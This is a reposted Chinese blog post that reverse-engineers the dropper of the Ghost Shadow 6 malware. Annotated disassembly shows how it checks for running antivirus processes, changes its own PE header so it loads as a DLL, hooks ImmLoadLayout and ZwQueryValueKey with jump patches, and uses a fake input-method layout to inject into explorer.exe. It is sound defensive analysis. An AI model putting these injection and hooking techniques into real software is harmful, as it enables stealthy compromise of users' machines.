鬼影6母体分析【转】

1,母体的主要功能

鬼影6的母体用的方法很猥琐,注入什么的都不说了,还用的是输入法注入,还用的是很诡异的输入法注入。

注入到桌面进程之后,才修改的MBR什么的。今天,我就先分析下母体的功能,下次再分析dll的功能。

2,现在我们从最开始来往下看。

最开始的时候,会判断这个PE文件是在哪儿执行的,如果是在作为一个exe文件在自己的进程中执行,那么就要去执行母体的功能,母体的功能就是注入嘛:

  • 00401A38                 mov     hModule, eax
  • .text:00401A3D                 push    0               ; lpModuleName
  • .text:00401A3F                 call    ds:GetModuleHandleA
  • .text:00401A45                 cmp     eax, hModule                ; 这里是先获取本摸块的基址,然后又比较是不是00400000,因为
  • .text:00401A45                                                                     ; 如果是00400000的话,然后去注入。
  • .text:00401A4B                 jz      short loc_401A59               ; 这里调走了,如果这个程序在本模块中没那么表示还没有注
  • .text:00401A4B                                                                     ; 入进程,所以就跳走
  • .text:00401A4D                 push    [ebp+arg_4]
  • .text:00401A50                 call    sub_404045
  • .text:00401A55                 leave
  • .text:00401A56                 retn    0Ch
  • .text:00401A59 ; ---------------------------------------------------------------------------
  • .text:00401A59
  • .text:00401A59 loc_401A59:                                                 ; CODE XREF: start+3Dj
  • .text:00401A59                 push    1                                      ; pVertex
  • .text:00401A5B                 push    0                                       ; hdc
  • .text:00401A5D                 call    CoCreateInstance             ; 如果还在本进程就先想办法注入
  • .text:00401A62                 push    0                                       ; uExitCode
  • .text:00401A64                 call    ds:ExitProcess
  • .text:00401A64 start

3,然后来到我们很重要的一个地方

text:00401944                 push    ebp

.text:00401945                 mov     ebp, esp

.text:00401947                 sub     esp, 260        ; 这个函数很重要哦,认真仔细。静心

.text:0040194D                 push    ebx

.text:0040194E                 push    esi

.text:0040194F                 xor     ebx, ebx

下面是三个很重要的三个函数,就是在这三个函数中就是再完成母体的功能。

.text:004019EE loc_4019EE:                             ; CODE XREF: thisisAbigDeal+82j

.text:004019EE                 call    VirtualMemoryWork ; 这是三个非常重要的函数,一定要注意

.text:004019F3                 call    FindProcessandWriteFile

.text:004019F8                 call    HookAPIandChangeKeyboarslayout

.text:004019FD                 test    eax, eax

4,现在我们来看看第一个函数

00402FD4这个函数

0040300B   .  8365 FC 00    and dword ptr ss:[ebp-0x4],0x0

0040300F   .  6A 40         push 0x40                                        ; /Protect = PAGE_EXECUTE_READWRITE

00403011   .  68 00300000   push 0x3000                                      ; |AllocationType = MEM_COMMIT|MEM_RESERVE

00403016   .  FF75 E0       push dword ptr ss:[ebp-0x20]                     ; |Size = 4000000 (67108864.)

00403019   .  6A 00         push 0x0                                         ; |Address = NULL

0040301B   .  FF15 10514000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>]     ; \VirtualAlloc

00403021   .  8945 DC       mov dword ptr ss:[ebp-0x24],eax                  ;  申请一块大小为4000000大小的内存空间,地址是9C0000

00403024   .  837D DC 00    cmp dword ptr ss:[ebp-0x24],0x0

0040302E   . /EB 69         jmp short 样本.00403099

00403030   > |FF75 E0       push dword ptr ss:[ebp-0x20]                     ; /n = 4000000 (67108864.)

00403033   . |68 90000000   push 0x90                                        ; |c = 90

00403038   . |FF75 DC       push dword ptr ss:[ebp-0x24]                     ; |s = 009C0000

0040303B   . |FF15 58514000 call dword ptr ds:[<&MSVCRT.memset>]             ; \memset

00403041   . |83C4 0C       add esp,0xC                                      ;  将这一片全部格式化为90

5,我们再来看看第二个函数

00401885

00401887  |.  68 04010000   push 0x104                                       ; /BufSize = 104 (260.)

0040188C  |.  68 34744000   push 样本.00407434                                 ; |PathBuffer = 样本.00407434

00401891  |.  FF35 78754000 push dword ptr ds:[0x407578]                     ; |hModule = 00400000 (样本)

00401897  |.  FF15 64504000 call dword ptr ds:[<&KERNEL32.GetModuleFileNameA>; \GetModuleFileNameA

0040189D  |.  6A 01         push 0x1                                         ;  获取本模块的完整路径

0040189F  |.  6A 00         push 0x0

00407434  43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64  C:\Documents and

00407444  20 53 65 74 74 69 6E 67 73 5C 41 64 6D 69 6E 69   Settings\Admini

00407454  73 74 72 61 74 6F 72 5C D7 C0 C3 E6 5C B9 ED D3  strator\桌面\鬼

00407464  B0 5C D1 F9 B1 BE 2E 65 78 65 00 00 00 00 00 00  癨样本.exe......

下面是一个函数,这个函数还是很重要的。

004029E9

下面主要是格式化,还有就是给进程拍快照,这样就可以枚举进程了。

text:004029FD                 push    esi             ; Size

.text:004029FE                 xor     edi, edi

.text:00402A00                 lea     eax, [esp+13Ch+Dst]

.text:00402A04                 push    edi             ; Val

.text:00402A05                 push    eax             ; Dst

.text:00402A06                 call    ds:memset       ; 0012FD08的128h字节全部格式化为0

.text:00402A0C                 add     esp, 0Ch

.text:00402A0F                 push    edi             ; th32ProcessID

.text:00402A10                 push    2               ; dwFlags

.text:00402A12                 mov     [esp+140h+Dst], esi

.text:00402A16                 call    ds:CreateToolhelp32Snapshot ; 给系统中的进程拍一个快照。等     会儿就从这个快照里面去找进程

.text:00402A1C                 mov     esi, eax                                    ; 保存进程快照句柄

.text:00402A1E                 lea     eax, [esp+138h+Dst]

.text:00402A22                 push    eax                                             ; lppe

.text:00402A23                 push    esi                                 ; hSnapshot

下面就是在枚举进程了。

text:00402A23                 push    esi             ; hSnapshot

.text:00402A24                 call    ds:Process32First

.text:00402A2A

.text:00402A2A loc_402A2A:                             ; CODE XREF: FindProcess+78j

.text:00402A2A                 cmp     [ebp+arg_8], 1

.text:00402A2E                 jnz     short loc_402A3B

.text:00402A30                 lea     ebx, [esp+138h+Dst]

.text:00402A34                 call    FindSpecialProcessandStoreTheId     ; 查找特定进程,

例如"360tray","explorer.exe","HardwareInfo.exe"

.text:00402A34                                                                                         ; "HintClient.exe", "CfgClt.exe", "AVP.exe","KsafeTray.exe"

.text:00402A34                                                                                         ; "RVAMonD.exe",

.text:00402A39                 jmp     short loc_402A53

.text:00402A3B ; ---------------------------------------------------------------------------

.text:00402A3B

.text:00402A3B loc_402A3B:                             ; CODE XREF: FindProcess+45j

.text:00402A3B                 cmp     [ebp+arg_8], 4

.text:00402A3F                 jnz     short loc_402A53

.text:00402A41                 push    [ebp+lpString2] ; lpString2

.text:00402A44                 lea     eax, [esp+13Ch+String1]

.text:00402A48                 push    eax             ; lpString1

.text:00402A49                 call    ds:lstrcmpiA

.text:00402A4F                 test    eax, eax

.text:00402A51                 jz      short loc_402A65

.text:00402A53

.text:00402A53 loc_402A53:                             ; CODE XREF: FindProcess+50j

.text:00402A53                                         ; FindProcess+56j

.text:00402A53                 lea     eax, [esp+138h+Dst]

.text:00402A57                 push    eax             ; lppe

.text:00402A58                 push    esi             ; hSnapshot

.text:00402A59                 call    ds:Process32Next

.text:00402A5F                 test    eax, eax

.text:00402A61                 jnz     short loc_402A2A ; 列举完了就不跳了哦。

.text:00402A63                 jmp     short loc_402A69

.text:00402A65 ; ---------------------------------------------------------------------

在这上面中的一个函数我们可以进去看看。

这就是找特殊进程的ID,然后保存这个ID。就这么简单

push    esi

.text:004017B3                 mov     esi, ds:lstrcmpiA

.text:004017B9                 push    edi

.text:004017BA                 push    offset String2  ; "360tray.exe"

.text:004017BF                 lea     edi, [ebx+24h]  ; 360tray.exe 是360安全卫士实时监控程序

.text:004017C2                 push    edi             ; lpString1

.text:004017C3                 call    esi ; lstrcmpiA

.text:004017C5                 test    eax, eax

.text:004017C7                 jnz     short loc_4017D7

.text:004017C9                 or      dword_40753C, 1

.text:004017D0                 push    1

.text:004017D2                 jmp     loc_401875

.text:004017D7 ; ---------------------------------------------------------------------------

.text:004017D7

.text:004017D7 loc_4017D7:                             ; CODE XREF: FindSpecialProcessandStoreTheId+15j

.text:004017D7                 push    offset aExplorer_exe ; "explorer.exe"

.text:004017DC                 push    edi             ; lpString1

.text:004017DD                 call    esi ; lstrcmpiA ; explorer.exe是Windows程序管理器或者Windows资源管理器

.text:004017DD                                         ; 它用于管理Windows图形壳,包括开始菜单、任务栏、桌面和

.text:004017DD                                         ; 文件管理,删除该程序会导致Windows图形界面无法适用

.text:004017DF                 test    eax, eax

.text:004017E1                 jnz     short loc_4017F7

.text:004017E3                 cmp     dword_407540, eax

.text:004017E9                 jnz     loc_401882      ; 如果找到了就跳走

.text:004017EF

.text:004017EF loc_4017EF:                             ; CODE XREF: FindSpecialProcessandStoreTheId+ACj

.text:004017EF                 mov     eax, [ebx+8]

.text:004017F2                 jmp     loc_40187D      ; 保存找到进程的ID,比如这次找到的是explorer.exe,

.text:004017F2                                         ; 就保存进程的ID 5C4H

然后我们继续往下。

接着往下继续是一个函数。这个函数是call 004029AE

这个函数主要的功能就是产生一个随机数,用于生成随机数temp文件。

.text:004029A7                 push    ebp

.text:004029A8                 mov     ebp, esp

.text:004029AA                 push    ecx

.text:004029AB                 push    ecx

.text:004029AC                 push    ebx

.text:004029AD                 push    esi

.text:004029AE                 push    edi

.text:004029AF                 lea     eax, [ebp+SystemTimeAsFileTime]

.text:004029B2                 push    eax             ; lpSystemTimeAsFileTime

.text:004029B3                 call    ds:GetSystemTimeAsFileTime ; 获取系统的时间,用来做随机数的种子

.text:004029B9                 movzx   eax, word ptr [ebp+SystemTimeAsFileTime.dwLowDateTime]

.text:004029BD                 mov     esi, ds:srand

.text:004029C3                 push    eax             ; Seed

.text:004029C4                 call    esi ; srand     ; 置随机数种子

.text:004029C6                 mov     edi, ds:rand

.text:004029CC                 call    edi ; rand      ; 产生随机数

.text:004029CE                 mov     ebx, eax        ; 保存随机数。

.text:004029D0                 mov     eax, [ebp+SystemTimeAsFileTime.dwLowDateTime] ; 取出系统时间的低字节

.text:004029D3                 and     eax, 0FFFF0000h ; 取高位

.text:004029D8                 push    eax             ; Seed

.text:004029D9                 shl     ebx, 10h        ; 将刚刚的随机数,移动到高位。

.text:004029DC                 call    esi ; srand     ; 置随机数种子,这次的种子就是刚刚系统时间的高位

.text:004029DE                 pop     ecx

.text:004029DF                 pop     ecx

.text:004029E0                 call    edi ; rand      ; 产生随机数

.text:004029E2                 pop     edi

.text:004029E3                 pop     esi

.text:004029E4                 or      eax, ebx        ; 于是就将两个随机数合成一个了,第一次产生的是高位。。

.text:004029E4                                         ; 虽然我也不晓得这个去随机数以后要干嘛

.text:004029E6                 pop     ebx

.text:004029E7                 leave

.text:004029E8                 retn

.text:004029E8 GetRand         endp

然后我们继续往下看。

这里是格式化一个文件的名字

.text:004018AD                 movzx   ecx, word ptr dword_407540 ; 将上面的函数中找到的进程的ID放入ecx

.text:004018B4                 mov     esi, ds:wsprintfA

.text:004018BA                 and     eax, 0FFFF0000h

.text:004018BF                 or      eax, ecx        ; 取随机数高位,用找到的进程ID号补充为随机数的低位

.text:004018C1                 push    eax

.text:004018C2                 push    offset a_8x_tmp ; "%.8X.tmp"

.text:004018C7                 push    offset String   ; LPSTR

.text:004018CC                 call    esi ; wsprintfA ; 然后用这个随机数,来随机生成一个文件名,比如这一次的文件名就是1FA205C4

.text:004018CE                 push    offset aStinst_log ; "stinst.log"

然后下面这个函数是打开一个文件,然后写一些东西进去。

ext:00402F3C                 push    ebp

.text:00402F3D                 mov     ebp, esp

.text:00402F3F                 push    ecx

.text:00402F40                 push    ebx

.text:00402F41                 push    esi             ; 事实上,后面将整个进程改为dll,写进一个新文件的时候又调用了这个函数。

.text:00402F41                                         ; 调用的顺序又完全不一样了。

.text:00402F41                                         ;

.text:00402F42                 push    edi             ; C:\Documents and Settings\Administrator\Local Settings\Temp\stinst.log"

.text:00402F43                 push    [ebp+lpMultiByteStr] ; pszPath

.text:00402F46                 xor     esi, esi

.text:00402F48                 mov     [ebp+NumberOfBytesWritten], esi

.text:00402F4B                 call    ds:PathFileExistsA ; 检测这个文件是否存在

.text:00402F51                 mov     ebx, eax

.text:00402F53                 cmp     ebx, 1

.text:00402F56                 jnz     short loc_402F65

.text:00402F58                 cmp     [ebp+arg_C], eax

.text:00402F5B                 jnz     short loc_402F65

.text:00402F5D                 push    [ebp+lpMultiByteStr] ; lpMultiByteStr

.text:00402F60                 call    sub_402EB9

.text:00402F65

.text:00402F65 loc_402F65:                             ; CODE XREF: OpenTempFileAndWriteSomething+1Aj

.text:00402F65                                         ; OpenTempFileAndWriteSomething+1Fj

.text:00402F65                 push    esi             ; hTemplateFile

.text:00402F66                 push    esi             ; dwFlagsAndAttributes

.text:00402F67                 push    4               ; dwCreationDisposition

.text:00402F69                 push    esi             ; lpSecurityAttributes

.text:00402F6A                 push    esi             ; dwShareMode

.text:00402F6B                 push    0C0000000h      ; dwDesiredAccess

.text:00402F70                 push    [ebp+lpMultiByteStr] ; lpFileName

.text:00402F73                 call    ds:CreateFileA  ; 打开这个已经存在的文件

.text:00402F79                 mov     edi, eax        ; 保存文件的句柄

.text:00402F7B                 cmp     edi, 0FFFFFFFFh ; C:\Documents and Settings\Administrator\Local Settings\Temp

.text:00402F7E                 jnz     short loc_402F84 ; 打开文件成功就跳走。

.text:00402F80

.text:00402F80 loc_402F80:                             ; CODE XREF: OpenTempFileAndWriteSomething+67j

.text:00402F80                                         ; OpenTempFileAndWriteSomething+72j

.text:00402F80                 xor     eax, eax

.text:00402F82                 jmp     short loc_402FCD

.text:00402F84 ; ---------------------------------------------------------------------------

.text:00402F84

.text:00402F84 loc_402F84:                             ; CODE XREF: OpenTempFileAndWriteSomething+42j

.text:00402F84                 push    esi             ; lpOverlapped

.text:00402F85                 lea     eax, [ebp+NumberOfBytesWritten]

.text:00402F88                 push    eax             ; lpNumberOfBytesWritten

.text:00402F89                 push    [ebp+lDistanceToMove] ; nNumberOfBytesToWrite

.text:00402F8C                 push    [ebp+lpBuffer]  ; lpBuffer

.text:00402F8F                 push    edi             ; hFile

.text:00402F90                 call    ds:WriteFile    ; 向文件写东西

.text:00402F96                 test    eax, eax        ; 向文件里面写东西。写的东西我放在记录里面

.text:00402F98                 jnz     short loc_402FB0

.text:00402F9A                 push    edi             ; hObject

.text:00402F9B                 call    ds:CloseHandle

.text:00402FA1                 cmp     ebx, esi

.text:00402FA3                 jnz     short loc_402F80

.text:00402FA5                 push    [ebp+lpMultiByteStr] ; lpFileName

.text:00402FA8                 call    ds:DeleteFileA

.text:00402FAE                 jmp     short loc_402F80

.text:00402FB0 ; ---------------------------------------------------------------------------

.text:00402FB0

.text:00402FB0 loc_402FB0:                             ; CODE XREF: OpenTempFileAndWriteSomething+5Cj

.text:00402FB0                 push    esi             ; dwMoveMethod

.text:00402FB1                 push    esi             ; lpDistanceToMoveHigh

.text:00402FB2                 push    [ebp+lDistanceToMove] ; lDistanceToMove

.text:00402FB5                 push    edi             ; hFile

.text:00402FB6                 call    ds:SetFilePointer ; 设置文件指针到文件尾

.text:00402FBC                 push    edi             ; hFile

.text:00402FBD                 call    ds:SetEndOfFile ; 设置当前位置为文件尾

.text:00402FC3                 push    edi             ; hObject

.text:00402FC4                 call    ds:CloseHandle  ; 关闭文件句柄

.text:00402FCA                 xor     eax, eax

.text:00402FCC                 inc     eax

.text:00402FCD

.text:00402FCD loc_402FCD:                             ; CODE XREF: OpenTempFileAndWriteSomething+46j

.text:00402FCD                 pop     edi

.text:00402FCE                 pop     esi

.text:00402FCF                 pop     ebx

.text:00402FD0                 leave

这样第二个函数就完成了。

6,现在我们看看第三个重要的函数。

这里我就挑重要的写了。

下面是在枚举输入法,然后将输入法的代号转换成长整型保存起来。

.text:00402507                 lea     eax, [ebp+Str]

.text:0040250D                 push    eax             ; lpData

.text:0040250E                 lea     eax, [ebp+flOldProtect]

.text:00402511                 push    eax             ; lpType

.text:00402512                 push    ebx             ; lpReserved

.text:00402513                 lea     eax, [ebp+ValueName]

.text:00402516                 push    eax             ; lpValueName

.text:00402517                 push    [ebp+hKey]      ; hKey

.text:0040251A                 call    ds:RegQueryValueExA ; 按顺序检查现在系统中装了哪些输入法。00000804,e02000804

.text:00402520                 test    eax, eax        ; 检查是否执行成功,其实这里检查完毕就直接跳走了,不用检查14次

.text:00402522                 jnz     short loc_402544

.text:00402524                 push    10h             ; Radix

.text:00402526                 lea     eax, [ebp+Str]

.text:0040252C                 push    ebx             ; EndPtr

.text:0040252D                 push    eax             ; Str

.text:0040252E                 call    ds:strtoul      ; 将刚刚的长整型00000804转化为长整型

.text:00402534                 add     esp, 0Ch

.text:00402537                 mov     [ebp+edi*4+Dst], eax ; 保存eax,eax就是输入法第一的输入法

.text:0040253E                 inc     edi

.text:0040253F                 cmp     edi, 14h

.text:00402542                 jle     short loc_4024E6 ; 这是个循环啊,依次要循环14h次啊。意思就是要列举14个输入法

.text:00402544

.text:00402544 loc_402544:                             ; CODE XREF: HookAPIandChangeKeyboarslayout+92j

.text:00402544                 push    [ebp+hKey]      ; hKey

.text:00402547                 call    ds:RegCloseKey  ; 关闭注册表句柄

.text:0040254D                 xor     edi, edi

.text:0040254F                 inc     edi

.text:00402550

比较现在电脑上面有没有安装特定的输入法。、

.text:00402550                 mov     eax, edi

.text:00402552                 or      eax, 0FFFFE000h

.text:00402557                 shl     eax, 10h

.text:0040255A                 or      eax, [ebp+lParam]

.text:00402560                 xor     ecx, ecx

.text:00402562                 mov     [ebp+flOldProtect], eax

.text:00402565                 inc     ecx             ; eax是我要找的输入法。E0010804

.text:00402566

.text:00402566 loc_402566:                             ; CODE XREF: HookAPIandChangeKeyboarslayout+EDj

.text:00402566                 mov     edx, [ebp+ecx*4+Dst]

.text:0040256D                 cmp     edx, ebx

.text:0040256F                 jz      short loc_40257F

.text:00402571                 cmp     edx, eax        ; 比较现在这个电脑上面有没有病毒需要的输入法

.text:00402573                 jz      loc_4026FA

.text:00402579                 inc     ecx

.text:0040257A                 cmp     ecx, 14h

.text:0040257D                 jle     short loc_402566

.text:0040257F

下面主要是获取两个重要函数的地址。

text:004025A1                 push    offset aUser32_dll_0 ; "user32.dll"

.text:004025A6                 call    ds:GetModuleHandleA ; 获取user32。dll的句柄,也可以说是基址。77D10000

.text:004025AC                 mov     edi, ds:GetProcAddress ; 将GetProcAddress函数放入edi,方便调用

.text:004025B2                 lea     ecx, [ebp+ProcName]

.text:004025B5                 push    ecx             ; lpProcName

.text:004025B6                 push    eax             ; hModule

.text:004025B7                 mov     [ebp+hModule], eax ; 保存ues32.dll模块的基址

.text:004025BA                 mov     dword ptr [ebp+ProcName], 64616F4Ch

.text:004025C1                 mov     [ebp+var_44], 6279654Bh ; 这是函数的名字

.text:004025C8                 mov     [ebp+var_40], 6472616Fh

.text:004025CF                 mov     [ebp+var_3C], 6F79614Ch

.text:004025D6                 mov     [ebp+var_38], 417475h

.text:004025DD                 call    edi ; GetProcAddress ; 第一个要找的函数地址是LoadKeyboardLayoutA,77D56262

.text:004025DF                 mov     [ebp+hWnd], eax ; 将这个地址保存在hwnd中,保存这个函数的地址、77D56262

.text:004025E2                 lea     eax, [ebp+ProcName] ; 将函数名的地址放入eax

.text:004025E5                 push    eax             ; lpProcName

.text:004025E6                 push    [ebp+hModule]   ; hModule

.text:004025E9                 mov     dword ptr [ebp+ProcName], 6F6C6E55h ; 这个函数名字:UnloadKeyboardLayout

.text:004025F0                 mov     [ebp+var_44], 654B6461h

.text:004025F7                 mov     [ebp+var_40], 616F6279h

.text:004025FE                 mov     [ebp+var_3C], 614C6472h

.text:00402605                 mov     [ebp+var_38], 74756F79h

.text:0040260C                 mov     [ebp+var_34], ebx

.text:0040260F                 call    edi ; GetProcAddress ; 又在获取函数的地址吗?这次是UnloadKeyboardLayout,77D562C0

.text:00402611                 push    [ebp+lParam]

.text:00402617                 mov     [ebp+var_50], eax ; 将这个地址保存起来。

.text:0040261A

再往下走

下面是查找注册表的信息

00402634  |.  83C4 10       |add esp,0x10

00402637  |.  8D45 D8       |lea eax,[local.10]

0040263A  |.  50            |push eax                              ; /pDataSize = NULL

0040263B  |.  8D85 14FDFFFF |lea eax,[local.187]                   ; |

00402641  |.  50            |push eax                              ; |pData = NULL

00402642  |.  8D45 B4       |lea eax,[local.19]                    ; |

00402645  |.  50            |push eax                              ; |ValueType = REG_NONE

00402646  |.  68 E8564000   |push 样本.004056E8                      ; |Value = 样本.004056E8

0040264B  |.  8D85 14F9FFFF |lea eax,[local.443]                   ; |

00402651  |.  50            |push eax                              ; |SubKey = NULL

00402652  |.  BB 02000080   |mov ebx,0x80000002                    ; |

00402657  |.  53            |push ebx                              ; |hKey = HKEY_LOCAL_MACHINE

00402658  |.  FF15 7C514000 |call dword ptr ds:[<&SHLWAPI.SHGetVal>; \SHGetValueA

0040265E  |.  FF75 F8       |push [local.2]                        ;  返回注册表的信息、。

这里是堆栈的情况。

0012F738   80000002

0012F73C   0012F75C  ASCII "SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00000804"

0012F740   004056E8  ASCII "Layout File"

0012F744   0012FDFC

0012F748   0012FB5C  ASCII "KBDUS.DLL"

0012F74C   0012FE20

下面是打开一个键

00402674  |.  83C4 10       |add esp,0x10

00402677  |.  8D45 F0       |lea eax,[local.4]

0040267A  |.  50            |push eax                     ; /pHandle = NULL

0040267B  |.  8D85 14F9FFFF |lea eax,[local.443]          ; |

00402681  |.  50            |push eax                     ; |Subkey = NULL

00402682  |.  53            |push ebx                     ; |hKey = HKEY_LOCAL_MACHINE

00402683  |.  FF15 08504000 |call dword ptr ds:[<&ADVAPI3>; \RegOpenKeyA

打开的键是:

0012F744   80000002

0012F748   0012F75C  ASCII "SYSTEM\CurrentControlSet\Control\Keyboard Layouts\E0010804"

0012F74C   0012FE38

下面有一个函数是将本进程的PE文件开辟的虚拟空间。这个函数就是00402DC2这个函数,我就不说了,因为下面还有一个很重要的函数。

下面是将在虚拟内存中的这个PE文件的属性改了。

.text:00402771                 mov     ecx, [ebp-4]

.text:00402774                 mov     eax, [ecx+3Ch]  ; 事实上我相信下面是对PE文件进行操作,ecx+0x3ch是指向的NT头

.text:00402777                 push    0               ; int

.text:00402779                 push    [ebp+lDistanceToMove] ; lDistanceToMove

.text:0040277C                 mov     edx, 2000h

.text:00402781                 or      [eax+ecx+16h], dx ; 这里是修改文件属性,修改为dll文件,好注入。

.text:00402786                 push    ecx             ; lpBuffer

.text:00402787                 lea     eax, [ebp+MultiByteStr]

.text:0040278D                 push    eax             ; lpMultiByteStr

下面这个函数00402F3C

这个函数是修改文件的属性,dll,然后写入生成的随机数创建的tmp文件中。

检查这个文件的路径是否有效

00402F41  |.  56            push esi

00402F42  |.  57            push edi                      ;  kernel32.GetProcAddress

00402F43  |.  FF75 08       push [arg.1]                  ; /Path = "C:\WINDOWS\system32\392105D8.tmp"

00402F46  |.  33F6          xor esi,esi                   ; |

00402F48  |.  8975 FC       mov [local.1],esi             ; |

00402F4B  |.  FF15 80514000 call dword ptr ds:[<&SHLWAPI.>; \PathFileExistsA

00402F51  |.  8BD8          mov ebx,eax

有效那么就打开这个文件

00402F60  |.  E8 54FFFFFF   call 样本.00402EB9

00402F65  |>  56            push esi                      ; /hTemplateFile = NULL

00402F66  |.  56            push esi                      ; |Attributes = 0

00402F67  |.  6A 04         push 0x4                      ; |Mode = OPEN_ALWAYS

00402F69  |.  56            push esi                      ; |pSecurity = NULL

00402F6A  |.  56            push esi                      ; |ShareMode = 0

00402F6B  |.  68 000000C0   push 0xC0000000               ; |Access = GENERIC_READ|GENERIC_WRITE

00402F70  |.  FF75 08       push [arg.1]                  ; |FileName = "C:\WINDOWS\system32\392105D8.tmp"

00402F73  |.  FF15 2C514000 call dword ptr ds:[<&KERNEL32>; \CreateFileA

下面就是将虚拟空间中的PE文件写入tmp文件中

00402F84  |> \56            push esi                      ; /pOverlapped = NULL

00402F85  |.  8D45 FC       lea eax,[local.1]             ; |

00402F88  |.  50            push eax                      ; |pBytesWritten = 0012F734

00402F89  |.  FF75 10       push [arg.3]                  ; |nBytesToWrite = 18400 (99328.)

00402F8C  |.  FF75 0C       push [arg.2]                  ; |Buffer = 00910000

00402F8F  |.  57            push edi                      ; |hFile = 00000044 (window)

00402F90  |.  FF15 1C514000 call dword ptr ds:[<&KERNEL32>; \WriteFile

现在就完成了将tmp文件改成dll文件了。

下面是两个函数的hook,hook的方法是将函数的第一个字节改为E9,也就是jmp,后面4个字节跟上跳转的地址。

.text:004027B8                 push    offset aImmloadlayout ; "ImmLoadLayout"

.text:004027BD                 push    offset LibFileName ; "imm32.dll"

.text:004027C2                 call    ds:LoadLibraryA ; 导入一个dll,叫做"imm32.dll"

.text:004027C8                 push    eax             ; hModule

.text:004027C9                 call    edi ; GetProcAddress ; 查找"ImmLoadLayout"这个函数,地址是76308719

.text:004027CB                 mov     esi, eax

.text:004027CD                 mov     ImmLoadLayout, eax ; 这里就是hook函数了。先保存这个函数的地址

.text:004027D2                 lea     eax, [ebp+flOldProtect]

.text:004027D5                 push    eax             ; lpflOldProtect

.text:004027D6                 push    40h             ; flNewProtect

.text:004027D8                 push    400h            ; dwSize

.text:004027DD                 push    esi             ; lpAddress

.text:004027DE                 call    ds:VirtualProtect ; 将这个函数的字节段保存起来。

.text:004027E4                 push    5               ; Size

.text:004027E6                 push    esi             ; Src

.text:004027E7                 push    offset unk_407284 ; Dst

.text:004027EC                 call    ds:memcpy       ; 先将原来函数的前5个字节放入00407284,然后再改掉原来的

.text:004027EC                                         ; 第一个字节为JMP,也就是E9,然后再加上跳转地址,8A0F9BBB

.text:004027F2                 mov     eax, offset sub_4022D9 ; hook之后要调用的函数是004022D9

.text:004027F2                                         ;

.text:004027F7                 sub     eax, esi        ; 本来的函数前5个字节是8B FF 55 8B EC

.text:004027F7                                         ; 现在是E9 BB 9B 0F 8A

.text:004027F9                 sub     eax, 5

.text:004027FC                 add     esp, 0Ch

.text:004027FF                 mov     byte ptr [esi], 0E9h

.text:00402802                 mov     [esi+1], eax    ; 8A0F9BBB

.text:00402805                 call    HookZwQueryValueKey

.text:0040280A

上面是hook  ImmLoadLayout函数,还有hook ZwQueryValueKey函数。

hook完了之后。

就是调用了。

text:00402810                 call    [ebp+hWnd]      ; LoadKeyboardLayout,我在想调用这个函数的时候,其实是调用了

.text:00402810                                                     ; 底层的immaLoadLayout函数,然后执行了hook后的函数

.text:00402810                                                     ; 会不会执行了004022D9

.text:00402810                                                     ;

.text:00402810                                                     ; 哈哈哈,调用这个函数目的并不在此啊

.text:00402810                                                     ;

.text:00402810                                                     ; 经过我在系统函数里面的跟踪,这个函数最终回去调用我们的immaLoadLayout

.text:00402810                                                     ; 函数,自然也就执行了病毒hook后的函数了。

.text:00402810                                                     ;

.text:00402810                                                     ; 在这个函数里面会跳到00402305去。执行。

.text:00402810                                                     ;

下面就是输入法注入了。

调用这个函数的目的是去执行hook proc函数。下面是hook zwQueryValueKey的hook proc

text:00402312                 push    offset aImeFile ; "Ime File"

.text:00402317                 push    dword ptr [ebx+4] ; lpString1

.text:0040231A                 call    ds:lstrcmpiW

.text:00402320                 test    eax, eax        ; 如果查找的是Ime file的话,那么就返回这个tmp文件,将tmp文件返回给调用着

.text:00402322                 jnz     short loc_402388

.text:00402324                 push    0A0h            ; Size

.text:00402329                 xor     ebx, ebx

.text:0040232B                 lea     eax, [ebp+Dst]

.text:00402331                 push    ebx             ; Val

.text:00402332                 push    eax             ; Dst

.text:00402333                 call    ds:memset

.text:00402339                 add     esp, 0Ch

.text:0040233C                 push    50h             ; cchWideChar

.text:0040233E                 lea     eax, [ebp+Dst]

.text:00402344                 push    eax             ; lpWideCharStr

.text:00402345                 push    0FFFFFFFFh      ; cbMultiByte

.text:00402347                 push    offset String   ; lpMultiByteStr

.text:0040234C                 push    ebx             ; dwFlags

.text:0040234D                 push    ebx             ; CodePage

.text:0040234E                 call    ds:MultiByteToWideChar

我们知道explorer.exe的窗口类是“program”,窗口名是“program manager”所以我们可以通过Findwindow函数来获得窗口的句柄

00402862  |.  68 08574000   push 样本.00405708                                   ; /Title = "Program Manager"

00402867  |.  6A 00         push 0x0                                           ; |Class = 0

00402869  |.  FF15 8C514000 call dword ptr ds:[<&USER32.FindWindowA>]          ; \FindWindowA

0040286F  |.  8945 E8       mov [local.6],eax                                  ;  获取桌面进程的句柄

向窗口句柄发送WM_INPUTLANGCHANGEREQUEST消息

004028CD  |.  FFD7          call edi                                           ;  kernel32.GetProcAddress

004028CF  |.  EB 1B         jmp short 样本.004028EC

004028D1  |>  8B3D 90514000 mov edi,dword ptr ds:[<&USER32.PostMessageA>]      ;  user32.PostMessageA

004028D7  |.  56            push esi                                           ; /lParam = E0010804

004028D8  |.  53            push ebx                                           ; |wParam = 1

004028D9  |.  6A 50         push 0x50                                          ; |Message = WM_INPUTLANGCHANGEREQUEST

004028DB  |.  50            push eax                                           ; |hWnd = 10088

004028DC  |.  FFD7          call edi                                           ; \PostMessageA

004028DE  |.  FFB5 40FFFFFF push [local.48]                                    ; /lParam = 804

004028E4  |.  53            push ebx                                           ; |wParam = 1

004028E5  |.  6A 50         push 0x50                                          ; |Message = WM_INPUTLANGCHANGEREQUEST

004028E7  |.  FF75 E8       push [local.6]                                     ; |hWnd = 77D56262

004028EA  |.  FFD7          call edi                                           ; \PostMessageA

004028EC  |>  68 A00F0000   push 0xFA0                                         ; /Timeout = 4000. ms

004028F1  |.  FF75 FC       push [local.1]                                     ; |hObject = 00000048 (window)

004028F4  |.  FF15 F8504000 call dword ptr ds:[<&KERNEL32.WaitForSingleObject>>; \WaitForSingleObject

。这样explorer.exe就回去加载一个输入法,在内部就会调用ImmLoadIME函数,这个函数就去加载由ImmGetImeInfoEx函数返回的dll文件。反正调用这个函数的时候,explorer进程就加载了病毒的tmp文件了。这个是explorer进程模块的信息了。

现在执行完了之后,

现在母体就分析完了。之后就是注入的dll也就是tmp文件的分析了。。。

dll的分析就是我接下来要做的了。

引用自:http://blog.sina.com.cn/s/blog_6bedf1220101elyj.html

时间: 2024-10-18 18:14:13

鬼影6母体分析【转】的相关文章

